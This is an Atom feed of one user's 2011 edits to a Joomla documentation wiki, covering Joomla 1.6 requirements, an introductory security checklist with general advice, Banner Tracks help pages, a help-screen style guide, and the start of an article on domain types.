<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Royce</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Royce"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/Royce"/>
	<updated>2026-09-27T22:25:46Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla_1.6_technical_requirements&amp;diff=59953</id>
		<title>Joomla 1.6 technical requirements</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla_1.6_technical_requirements&amp;diff=59953"/>
		<updated>2011-06-27T02:52:12Z</updated>

		<summary type="html">&lt;p&gt;Royce: Formatting consistency&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Requirements for Joomla 1.6.x&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Apache: v2.x recommended + http://www.apache.org&lt;br /&gt;
* PHP: v5.2.4 +  http://www.php.net&lt;br /&gt;
* MySQL:	v5.0.4+ 	http://www.mysql.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Microsoft IIS: v7 http://www.iis.net&lt;br /&gt;
* PHP v5.2.4 +&lt;br /&gt;
* MySQL v5.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More details  will be available soon here:&#039;&#039;&#039;&lt;br /&gt;
http://www.joomla.org/about-joomla/technical-requirements.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Joomla! 1.6]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Getting_Started&amp;diff=59952</id>
		<title>Security Checklist/Getting Started</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Getting_Started&amp;diff=59952"/>
		<updated>2011-06-27T02:45:17Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* The most important guidelines */ Minor form&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
== Read Me First==&lt;br /&gt;
&lt;br /&gt;
=== Security matters ===&lt;br /&gt;
&lt;br /&gt;
:Internet security is a fast moving challenge and ever present threat. There is no one right way to secure a website, and all security methods are subject to instant obsolescence, incremental improvement, and constant revision. All public facing websites are open to constant attack. Are you willing and able to invest the time it takes to administer a dynamic, 24x7, world-accessible, database-driven, interactive, user-authenticated website? Do you have the time and resources to respond to the constant flow of new Internet security issues? The [[Top 10 Stupidest Administrator Tricks]] is a comic/tragic look at what can go wrong. Don&#039;t learn these tricks the hard way! Depending on your own experience, reading the &#039;&#039;Stupidest Tricks&#039;&#039; will either make you laugh or cry. Luckily, there are some well-established principles upon which to base your defensive plans. The following checklists point you toward current best practices for Joomla security.&lt;br /&gt;
&lt;br /&gt;
=== How to read these documents ===&lt;br /&gt;
#Not all techniques are appropriate for every level of experience. Apply the techniques you understand and read up on the ones you don&#039;t.&lt;br /&gt;
#Not all techniques are appropriate for every server. If you use a shared server, you must depend on the settings established by your hosting provider. If you are using a virtual or dedicated server, you can apply more creative security tactics.&lt;br /&gt;
#Not all security tactics are appropriate for all versions of Joomla. Where a technique applies to only one version it is noted by one of the following icons: {{JVer|1.0}}{{JVer|1.5}}{{JVer|1.6}}.&lt;br /&gt;
&lt;br /&gt;
=== The most important guidelines===&lt;br /&gt;
:These checklists are long and growing because the full plot is thick, complex, and expanding, but don&#039;t despair! Here are a few essential guidelines for securing any website. Following them will protect you from most catastrophes.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Back up early and often:&#039;&#039;&#039; Set up (and use and test) a regular backup and recovery process. When done well, this ensures that you can recover from almost any imaginable disaster.&lt;br /&gt;
# &#039;&#039;&#039;Update early and often:&#039;&#039;&#039; Promptly update to the latest &#039;&#039;stable&#039;&#039; version of Joomla! and any installed third-party extensions. This ensures that your site is protected from the newest vulnerabilities as soon as a fix is released and from the latest attack methods as soon as a defense is developed. &lt;br /&gt;
# &#039;&#039;&#039;Use a secure host&#039;&#039;&#039;: Use a high-quality Web host. Do not be fooled by offers of &#039;unlimited bandwidth, unlimited hard drive space, unlimited databases, etc. &lt;br /&gt;
# &#039;&#039;&#039;Use the community&#039;&#039;&#039;: Don&#039;t forget the truism, &amp;quot;If a deal is too good to be true, it is.&amp;quot; It seems that nothing on Earth is unlimited--except perhaps the gullibility of fools and the greed of those who prey upon them. Consider hiring professional assistance if you have inadequate experience or knowledge in this area. One of the advantages of GNU software is that user support is free. Take good advantage of this by asking good questions within the [http://forum.joomla.org Joomla! Forums]. When doing so, be sure to use the the most appropriate board, such as Installation, Migration and Updating, Administration. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::The most helpful posts in the Joomla! Security Forum are converted into [[Security and Performance FAQs]]. Many of the items on this list are explained in much greater detail in the FAQs. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::You may want to read the excellent [[Beginners|Absolute Beginners Guide to Joomla!]] It has wealth of tips and tricks presented in an easy to understand format. Even experienced Joomlaists find great ideas here. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::Hunt down the many nuggets of wisdom found in the [http://forum.joomla.org Joomla! Forums], in particular the [http://forum.joomla.org/viewforum.php?f=432 Joomla! 1.5 Security Forum] and the [http://forum.joomla.org/viewforum.php?f=267 Joomla! 1.0 Security Forum].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
::To receive all Joomla security announcements, subscribe to Joomla Security News. There are several ways to subscribe: &lt;br /&gt;
&lt;br /&gt;
::# [http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews Automatic Email Notification]&lt;br /&gt;
::# [http://feeds.joomla.org/JoomlaSecurityNews RSS feed].&lt;br /&gt;
&lt;br /&gt;
=== The bad news === &lt;br /&gt;
#&#039;&#039;&#039;There is no perfect security on the Web!&#039;&#039;&#039; As economists would say, &amp;quot;There&#039;s no free lunch.&amp;quot; Don&#039;t be fooled by Joomla&#039;s award winning ease-of-use. Maintaining a secure Web site on the open Internet is not easy. Maintaining adequate security requires a wide and ever-growing range of skills and knowledge, constant watchfulness, and a robust backup and recovery process.&lt;br /&gt;
#&#039;&#039;&#039;There&#039;s no one right way!&#039;&#039;&#039; Due to the variety and complexity of modern web systems, security issues can&#039;t be resolved with simple, one-size-fits-all solutions. You (or someone you trust) must learn enough about your server infrastructure to make valid security decisions. Strong security is a moving target. Today&#039;s expert might be tomorrow&#039;s victim. Welcome to the game...&lt;br /&gt;
#&#039;&#039;&#039;There&#039;s no substitute for experience!&#039;&#039;&#039; To secure your Web site, you must gain real experience (some of which will be bitter), or get experienced help from others. If you haven&#039;t invested the considerable time it takes to learn how to maintain a secure Web site, be sure you can consult with someone who has. Read this tongue-in-cheek description of the [[Top_10_Stupidest_Administrator_Tricks|Top 10 Stupidest Administrator Tricks]] which illustrates typical, blow-by-blow examples of how to learn Web security the hard way.&lt;br /&gt;
&lt;br /&gt;
=== The good news === &lt;br /&gt;
&lt;br /&gt;
#&#039;&#039;&#039;Even a beginner can start at the head of the herd&#039;&#039;&#039; User forums for many systems are clogged with [http://www.google.com/search?q=Help!+I&#039;ve+been+hacked Help! I&#039;ve been hacked] posts by people who did NOT follow standard security practices. If you are studying this checklist before your site is attacked, congratulations, you&#039;re already ahead of the herd.&lt;br /&gt;
#&#039;&#039;&#039;It&#039;s not as hard as it looks&#039;&#039;&#039; If this is one of your first websites, security issues may seem overwhelming, but you don&#039;t have to deal with all of them at once. Start with the most critical issues. As you become more familiar with [http://www.gnu.org GNU] tools and techniques, including [http://www.gnu.org/ GNU/Linux], [http://www.apache.org Apache], [http://www.mysql.com MySQL], [http://en.wikipedia.org/wiki/SQL SQL], [http://www.php.net PHP], [http://en.wikipedia.org/wiki/HTTP HTTP], [http://en.wikipedia.org/wiki/CSS CSS], [http://en.wikipedia.org/wiki/XML XML], [http://en.wikipedia.org/wiki/RSS RSS], [http://en.wikipedia.org/wiki/TCP/IP TCP/IP], [http://en.wikipedia.org/wiki/FTP FTP], [http://subversion.tigris.org/ Subversion], [http://en.wikipedia.org/wiki/JavaScript JavaScript], and [http://www.joomla.org Joomla!], you&#039;ll add refinements to your set of security tactics.&lt;br /&gt;
#&#039;&#039;&#039;You can get help&#039;&#039;&#039; If you believe your website was attacked, &#039;&#039;&#039;do not&#039;&#039;&#039; simply post an announcement with full details in the Joomla! forums. If you are dealing with a new vulnerability or new form of attack, publishing that information could put other websites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].&lt;br /&gt;
&lt;br /&gt;
== Security Checklists Table of Contents==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59951</id>
		<title>User:Royce</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User:Royce&amp;diff=59951"/>
		<updated>2011-06-27T01:03:21Z</updated>

		<summary type="html">&lt;p&gt;Royce: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I am working on migrating some sites that I maintain to Joomla!.&lt;br /&gt;
&lt;br /&gt;
As I read the Joomla! wiki, I am also making minor updates.  Some good candidates for more substantial updates (when I know more about Joomla!) can be found in [[:Category:Cookie_jar|the cookie jar]].&lt;br /&gt;
&lt;br /&gt;
* On the Joomla! Forums, I am [http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=581486 TychoTithonus] (&amp;quot;Royce&amp;quot; was already taken).&lt;br /&gt;
* My personal pages are [http://www.alaska.net/~royce/ here].&lt;br /&gt;
* On Wikipedia, I am also [http://en.wikipedia.org/wiki/User:Royce Royce].&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help17:Components_Banners_Tracks&amp;diff=59950</id>
		<title>Help17:Components Banners Tracks</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help17:Components_Banners_Tracks&amp;diff=59950"/>
		<updated>2011-06-27T00:52:40Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Description */ Minor form&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
This screen is accessed from the back-end Joomla! administrator panel. It is used to view banner impression and click counts.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
* Select &#039;&#039;&#039;Components &amp;amp;rarr; Banners &amp;amp;rarr; Tracks&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;. You can also select the &#039;Tracks&#039; menu link from the [[Help16:Components_Banners_Categories|Banner Categories Manager]], [[Help16:Components_Banners_Banners|Banner Manager]] or the [[Help16:Components_Banners_Clients|Banner Clients Manager]].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Banner Tracks Manager is where you can view current banner impression or click counts. Banners will only appear here if the impression or click counter is enabled on them and their impression or click count is at least 1. The impression and click counts are considered separate items, so a banner may appear twice in the list of items in this screen.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-banners-tracks-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
Click on the column heading to sort the list by that column&#039;s value.&lt;br /&gt;
*&#039;&#039;&#039;Name.&#039;&#039;&#039; The banner name.&lt;br /&gt;
*&#039;&#039;&#039;Client.&#039;&#039;&#039; The name of the banner client.&lt;br /&gt;
{{Chunk16:colheader|Category}}&lt;br /&gt;
*&#039;&#039;&#039;Type.&#039;&#039;&#039; The type of the displayed count - impression or click.&lt;br /&gt;
*&#039;&#039;&#039;Count.&#039;&#039;&#039; The number of banner impressions or click counts.&lt;br /&gt;
*&#039;&#039;&#039;Date.&#039;&#039;&#039; The date the counter was last incremented.&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
===Filter by Date===&lt;br /&gt;
&lt;br /&gt;
You can filter the list of impression or click counts by specifying a begin and end date to display the number of impressions or clicks a banner received on and between those dates.&lt;br /&gt;
[[Image:Help16-banners-tracks-filter-date.png|center]]&lt;br /&gt;
&lt;br /&gt;
===Filter by Client, Category or Type===&lt;br /&gt;
&lt;br /&gt;
In the upper right area, above the column headings, there are three drop-down boxes as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-tracks-filter-attributes.png|center]]&lt;br /&gt;
&lt;br /&gt;
Only items matching the selected client, category, and/or type will display in the list.&lt;br /&gt;
*&#039;&#039;&#039;Select Client.&#039;&#039;&#039; Use the drop-down list box to select the banner client.&lt;br /&gt;
{{Chunk16:listfiltering|Select Category}}&lt;br /&gt;
*&#039;&#039;&#039;Type.&#039;&#039;&#039; Use the drop-down list box to select the banner type - impression or click.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-tracks-toolbar.png]]&lt;br /&gt;
* &#039;&#039;&#039;Export.&#039;&#039;&#039; Click this to download a comma-separated text file of the displayed banner impression and/or click counts.&lt;br /&gt;
* &#039;&#039;&#039;Delete Tracks.&#039;&#039;&#039; Click this to delete the displayed banner impression and/or click counts.&lt;br /&gt;
{{Chunk16:toolbaricon|Options}}&lt;br /&gt;
{{Chunk16:toolbaricon|Help}}&lt;br /&gt;
&lt;br /&gt;
==Options==&lt;br /&gt;
See [[Help16:Components_Banners_Banners#Options|Banner Manager Options]].&lt;br /&gt;
&lt;br /&gt;
==Toolbar Links==&lt;br /&gt;
At the top left, above the Filter, you will see the following four links:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-banners-tracks-links.png]]&lt;br /&gt;
*&#039;&#039;&#039;Banners.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Banners|Banners Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Categories.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Categories|Banner Category Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Clients.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Clients|Banner Clients Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Tracks.&#039;&#039;&#039; This link is disabled, since you are already in the Tracks page.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
* To create or edit Banners: [[Help16:Components_Banners_Banners_Edit|Banner - New/Edit]]&lt;br /&gt;
* To work with Banner Categories: [[Help16:Components_Banners_Categories|Banner Category Manager]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help16:Help_screens_styleguide&amp;diff=59949</id>
		<title>Help16:Help screens styleguide</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help16:Help_screens_styleguide&amp;diff=59949"/>
		<updated>2011-06-27T00:52:05Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor form&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Help16:Help_screens|Return to Joomla! 1.6 Help Screen Wiki Page]]&lt;br /&gt;
&lt;br /&gt;
This is a work in progress and should be used as a guideline for creating help screens for Joomla 1.6.  This offers consistency throughout the help screens to allow for easier navigation.  Feel free to add to this.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Image Size&#039;&#039;&#039; : (Please add)&lt;br /&gt;
*&#039;&#039;&#039;Wiki Image Tag&#039;&#039;&#039; : &amp;lt;nowiki&amp;gt;[[Image:imagename.png,jpeg]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Chunk Tag&#039;&#039;&#039; : (Please add)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
How is this related to Joomla!  Is it a component can be accessed from the front-end and/or back of Joomla!?&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
The path taken to get to the screen.&lt;br /&gt;
*Select &#039;&#039;&#039;(menu item) → (submenu item) → (etc.)&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
This goes into more detail about what the component does.  There should be no specific format to this section because the description should be in direct correlation with the purpose and functionality of the component.  There may be many subsections to the description that describe more specific details, best to be outlined through the use of bullet points.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
Screenshot overall look of the page.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
Describes the available icons and their associated functions in the toolbar for this screen in the.  Use &#039;&#039;&#039;chunks&#039;&#039;&#039; here because many will be the same for different screens.  Best to provide a picture of the toolbar.&lt;br /&gt;
&lt;br /&gt;
The first word should always be a verb and, unless it is an irregular verb, it should also end in the letter &amp;quot;s&amp;quot;.  This means you should structure the description as if you are using the word &amp;quot;this&amp;quot; as the subject, but leave the subject out of the sentence.  This will make the sentence actually a sentence fragment.  For instance:&lt;br /&gt;
* Instead of &amp;quot;To find buried treasures, click this button.&amp;quot;&lt;br /&gt;
** Say, &amp;quot;Finds buried treasures.&amp;quot;&lt;br /&gt;
* Instead of &amp;quot;You can click this button to insert a picture of John Stamos into the current document.&amp;quot;&lt;br /&gt;
** Say, &amp;quot;Inserts a picture of John Stamos.&amp;quot;&lt;br /&gt;
* Instead of &amp;quot;Inform yourself that a picture of John Stamos is the same thing as a buried treasure.&amp;quot;&lt;br /&gt;
** Say, &amp;quot;Informs you that a picture of John Stamos is the same thing as buried treasure.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
For back-end manager screens, describes how to use the list filters to filter the contents of the screen. See [[Screen.content.15#List_Filters]] for example from 1.5.&lt;br /&gt;
&lt;br /&gt;
==Outline==&lt;br /&gt;
Describes the available options for this screen.  There may be many links within this screen that group together certain options.  Break down these linked screens into separate sub-heads and outline their individual functions.  It is also a good idea to include screenshots of these linked screens because their options will be most likely different.&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
Gives some advice to a person, recommends the best options based on a wide audience of developers.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
Should connect other pages of the [[Help16:Help_screens|Help Wiki]].&lt;br /&gt;
&lt;br /&gt;
==Notes for help screen editors==&lt;br /&gt;
*[[Layout helpscreen|Layout of a typical Help Screen]]&lt;br /&gt;
*Overview of [{{fullurl:Special:Allpages|namespace=106}} Help screen chunks]&amp;lt;br/&amp;gt;For usage information and examples see the following templates:&lt;br /&gt;
** {{tlx|colheader|Column name}} includes one of the &#039;&#039;Help screen column header XYZ&#039;&#039; chunks&lt;br /&gt;
** {{tlx|toolbaricon|Action name}} is for &#039;&#039;Help screen toolbar XYZ&#039;&#039;&lt;br /&gt;
** {{tlx|cpanelicon|Icon name}} is for &#039;&#039;Help screen icon XYZ&#039;&#039;&lt;br /&gt;
** for proper categorisation read the instructions of {{tim|cathelp}}&lt;br /&gt;
* [[Content editors]] &lt;br /&gt;
** {{[[Chunk:TinyMCE]]}} for TinyMCE&lt;br /&gt;
** {{[[Chunk:No editor]]}} for No editor&lt;br /&gt;
* Did you notice a mistake or do think it&#039;s useful to add some extra information? You&#039;re welcome to modify the Help Screen. Please change the status of the modified Help Screen after you modified it:&lt;br /&gt;
** Is the status at the moment &#039;Ready&#039; or &#039;To be moved&#039;? Change it to &#039;Modified by [name]&#039; (replace [name] for your username at the Joomla! Docs Wiki)&lt;br /&gt;
** Is the status at the moment &#039;To be reviewed&#039;? You don&#039;t have to change the status in that case.&lt;br /&gt;
* Image file naming convention:&lt;br /&gt;
** help16-&#039;&#039;[menu system path separated by dashes]&#039;&#039;-&#039;&#039;[screenElementType]&#039;&#039;.png,jpg&lt;br /&gt;
*** Replace &#039;&#039;[menu system path separated by dashes]&#039;&#039; with the names of the menu items that you would need to select to get to the item you are taking a screenshot of. Separate menu items with a dash ( - ) and if the menu item name has more than one word in it, then separate the words with an underscore ( _ ). Do not use spaces in your file name. Replace spaces with the underscore ( _ ) character.&lt;br /&gt;
*** Replace &#039;&#039;[screenElementType]&#039;&#039; with the type of the screen element that your picture contains. Screen element types are:&lt;br /&gt;
**** &#039;&#039;&#039;screen&#039;&#039;&#039; - This is a screenshot of the entire menu item&lt;br /&gt;
**** &#039;&#039;&#039;toolbar&#039;&#039;&#039; - This is a picture of the menu item&#039;s tool bar.&lt;br /&gt;
**** &#039;&#039;&#039;menu&#039;&#039;&#039; - This is a picture of the menu item&#039;s menu bar.&lt;br /&gt;
**** NOTE: As more screen element types are needed, add them to this style guide so that help documentation developers can refer to this guide and stay consistent.&lt;br /&gt;
*** Examples using the image naming convention:&lt;br /&gt;
**** A screenshot of the Extension Manager&#039;s &amp;quot;Discover&amp;quot; screen would be named: help16-extension_manager-discover-screen.png&lt;br /&gt;
**** A screenshot of the Extension Manager&#039;s &amp;quot;Discover&amp;quot; screen tool bar would be named: help16-extension_manager-discover-toolbar.png&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help16:Components_Banners_Tracks&amp;diff=59948</id>
		<title>Help16:Components Banners Tracks</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help16:Components_Banners_Tracks&amp;diff=59948"/>
		<updated>2011-06-27T00:51:02Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Description */ Minor form&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Overview==&lt;br /&gt;
This screen is accessed from the back-end Joomla! administrator panel. It is used to view banner impression and click counts.&lt;br /&gt;
&lt;br /&gt;
==How to Access==&lt;br /&gt;
* Select &#039;&#039;&#039;Components &amp;amp;rarr; Banners &amp;amp;rarr; Tracks&#039;&#039;&#039; from the drop-down menu of the &#039;&#039;&#039;&#039;&#039;Joomla! Administrator Panel&#039;&#039;&#039;&#039;&#039;. You can also select the &#039;Tracks&#039; menu link from the [[Help16:Components_Banners_Categories|Banner Categories Manager]], [[Help16:Components_Banners_Banners|Banner Manager]] or the [[Help16:Components_Banners_Clients|Banner Clients Manager]].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Banner Tracks Manager is where you can view current banner impression or click counts. Banners will only appear here if the impression or click counter is enabled on them and their impression or click count is at least 1. The impression and click counts are considered separate items, so a banner may appear twice in the list of items in this screen.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
[[Image:Help16-banners-tracks-screen.png]]&lt;br /&gt;
&lt;br /&gt;
==Column Headers==&lt;br /&gt;
Click on the column heading to sort the list by that column&#039;s value.&lt;br /&gt;
*&#039;&#039;&#039;Name.&#039;&#039;&#039; The banner name.&lt;br /&gt;
*&#039;&#039;&#039;Client.&#039;&#039;&#039; The name of the banner client.&lt;br /&gt;
{{Chunk16:colheader|Category}}&lt;br /&gt;
*&#039;&#039;&#039;Type.&#039;&#039;&#039; The type of the displayed count - impression or click.&lt;br /&gt;
*&#039;&#039;&#039;Count.&#039;&#039;&#039; The number of banner impressions or click counts.&lt;br /&gt;
*&#039;&#039;&#039;Date.&#039;&#039;&#039; The date the counter was last incremented.&lt;br /&gt;
&lt;br /&gt;
==List Filters==&lt;br /&gt;
===Filter by Date===&lt;br /&gt;
&lt;br /&gt;
You can filter the list of impression or click counts by specifying a begin and end date to display the number of impressions or clicks a banner received on and between those dates.&lt;br /&gt;
[[Image:Help16-banners-tracks-filter-date.png|center]]&lt;br /&gt;
&lt;br /&gt;
===Filter by Client, Category or Type===&lt;br /&gt;
&lt;br /&gt;
In the upper right area, above the column headings, there are three drop-down boxes as shown below:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-tracks-filter-attributes.png|center]]&lt;br /&gt;
&lt;br /&gt;
Only items matching the selected client, category, and/or type will display in the list.&lt;br /&gt;
*&#039;&#039;&#039;Select Client.&#039;&#039;&#039; Use the drop-down list box to select the banner client.&lt;br /&gt;
{{Chunk16:listfiltering|Select Category}}&lt;br /&gt;
*&#039;&#039;&#039;Type.&#039;&#039;&#039; Use the drop-down list box to select the banner type - impression or click.&lt;br /&gt;
&lt;br /&gt;
==Toolbar==&lt;br /&gt;
At the top right you will see the toolbar:&lt;br /&gt;
&lt;br /&gt;
[[Image:Help16-banners-tracks-toolbar.png]]&lt;br /&gt;
* &#039;&#039;&#039;Export.&#039;&#039;&#039; Click this to download a comma-separated text file of the displayed banner impression and/or click counts.&lt;br /&gt;
* &#039;&#039;&#039;Delete Tracks.&#039;&#039;&#039; Click this to delete the displayed banner impression and/or click counts.&lt;br /&gt;
{{Chunk16:toolbaricon|Options}}&lt;br /&gt;
{{Chunk16:toolbaricon|Help}}&lt;br /&gt;
&lt;br /&gt;
==Options==&lt;br /&gt;
See [[Help16:Components_Banners_Banners#Options|Banner Manager Options]].&lt;br /&gt;
&lt;br /&gt;
==Toolbar Links==&lt;br /&gt;
At the top left, above the Filter, you will see the following four links:&lt;br /&gt;
&lt;br /&gt;
[[Image:help16-banners-tracks-links.png]]&lt;br /&gt;
*&#039;&#039;&#039;Banners.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Banners|Banners Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Categories.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Categories|Banner Category Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Clients.&#039;&#039;&#039; Click this link to go to the [[Help16:Components_Banners_Clients|Banner Clients Manager]] page.&lt;br /&gt;
*&#039;&#039;&#039;Tracks.&#039;&#039;&#039; This link is disabled, since you are already in the Tracks page.&lt;br /&gt;
&lt;br /&gt;
==Related Information==&lt;br /&gt;
* To create or edit Banners: [[Help16:Components_Banners_Banners_Edit|Banner - New/Edit]]&lt;br /&gt;
* To work with Banner Categories: [[Help16:Components_Banners_Categories|Banner Category Manager]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=What_is_the_difference_between_a_Sub-Domain,_Parked_Domain_and_an_Add-On_Domain%3F&amp;diff=59947</id>
		<title>What is the difference between a Sub-Domain, Parked Domain and an Add-On Domain?</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=What_is_the_difference_between_a_Sub-Domain,_Parked_Domain_and_an_Add-On_Domain%3F&amp;diff=59947"/>
		<updated>2011-06-27T00:50:16Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor form&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article is a basic outline of the differences between a Sub-Domains, Parked Domains, and Add-On Domains. Creation of each domain &lt;br /&gt;
type on your selected hosting service may differ depending on what control control panel is offered.&lt;br /&gt;
Each hosting service is different in what their hosting plans include, so all three options may not be available under your plan.&lt;br /&gt;
Any questions about what options are available with your particular plan, or for help in setting up these options on your hosting plan&lt;br /&gt;
should be directed to your hosts support Help/FAQ pages or to your hosts support team. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here are some basic differences between the three:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Sub domain&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Let&#039;s say you own domain site1.com.&lt;br /&gt;
* You only own one domain or only wish to have a forum on one domain.&lt;br /&gt;
* You decide to install a forum and want the forum installed in a directory called forum&lt;br /&gt;
* You can create a sub-domain by adding the directory &#039;forum&#039; as a sub-domain from your domain site1.com control panel.&lt;br /&gt;
* Once the sub-domain forum is created, people can access your forum as either site1.com/forum or forum.site1.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Parked Domain&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* You own multiple domains such as site1.com, site1.org and site2.net.&lt;br /&gt;
* You want site1.com as the main domain for your website and you want people who type in site1.org or site2.net to go to the main site1.com website. &lt;br /&gt;
* Using the domain control panel for site1, you can park additional domains&lt;br /&gt;
* The multiple domain names you own will be parked and will point to the site1.com domain.&lt;br /&gt;
* You will be unable to use a parked domains for separate websites unless you unpark them.&lt;br /&gt;
* This is a good way if you own multiple domains such as site1.com, site1.org, site1.net to have all domains point to the same website domain&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
